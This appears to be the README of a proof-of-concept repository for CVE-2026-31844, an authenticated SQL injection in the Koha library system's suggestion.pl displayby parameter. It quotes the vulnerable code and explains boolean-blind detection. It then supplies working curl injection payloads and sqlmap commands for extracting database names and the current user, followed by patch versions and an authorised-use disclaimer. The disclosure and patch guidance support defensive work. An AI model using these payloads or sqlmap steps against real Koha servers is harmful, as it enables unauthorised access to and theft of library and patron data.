本仓库包含针对 CVE-2026-31844 的负责任漏洞 PoC,这是 Koha 图书馆管理系统中一个高严重性的已认证 SQL 注入漏洞。
该漏洞存在于 C4/Search.pm 中的 GetDistinctValues 函数中,该函数由 /cgi-bin/koha/suggestion/suggestion.pl 脚本调用。攻击者可通过 displayby 参数利用此漏洞。
suggestion.pl 脚本中的 displayby 参数用于构造一个带表限定的列名,然后将其传递给 GetDistinctValues 函数。然而,该函数将表名和列名直接嵌入到原始 SQL 查询中,未进行任何输入验证或参数化处理。
因此,攻击者可以操纵 displayby 参数,向查询中注入恶意 SQL 代码。由于输入在包含到 SQL 语句之前未经过清理,此行为引入了 SQL 注入漏洞,可能允许攻击者在数据库上执行任意的基于布尔的盲注技术 SQL 命令。
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
该扫描器使用基于布尔的盲注技术来验证漏洞
通过将条件语句注入到列名位置,我们可以观察到差异化的 HTTP 响应:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → 子查询错误 → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → 有效查询 → HTTP 200如果目标在真条件时返回 500,在假条件时返回 200,则确认存在该漏洞。
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
您必须提供具有 suggestions 权限的 Koha 员工账户的有效凭据。
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
对于使用自签名 SSL 证书的目标:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
您可以通过 curl 手动验证该漏洞。首先,向 Koha 员工界面进行身份验证并捕获您的 CGISESSID Cookie。
真条件(返回 HTTP 500):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
假条件(返回 HTTP 200):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap 原生支持基于布尔的盲注。要自动化数据提取,请将有效的已认证 HTTP 请求保存到 request.txt 中。保持 csrf_token 和 CGISESSID Cookie 有效。
request.txt 示例:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
使用布尔技术(--technique=B)运行 SQLMap:
# 基本数据库提取
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# 提取当前用户
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
或者直接从命令行运行:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
一段时间后,sqlmap 将识别出正确的载荷。
如果未打补丁,此漏洞允许已认证的攻击者:
将 Koha 更新到版本 24.11.12、25.05.07、25.11.01 或 26.05.00(或更高版本),其中包含对此漏洞的修复。
Raximov Shukrulloh (Mothra)
Telegram 机器人 @MothraContact_bot
此概念验证仅用于教育和防御目的。在测试任何系统的漏洞之前,请务必获得适当的授权。
作者不对任何滥用此信息的行为负责。此概念验证仅应用于您拥有或获得明确测试许可的系统。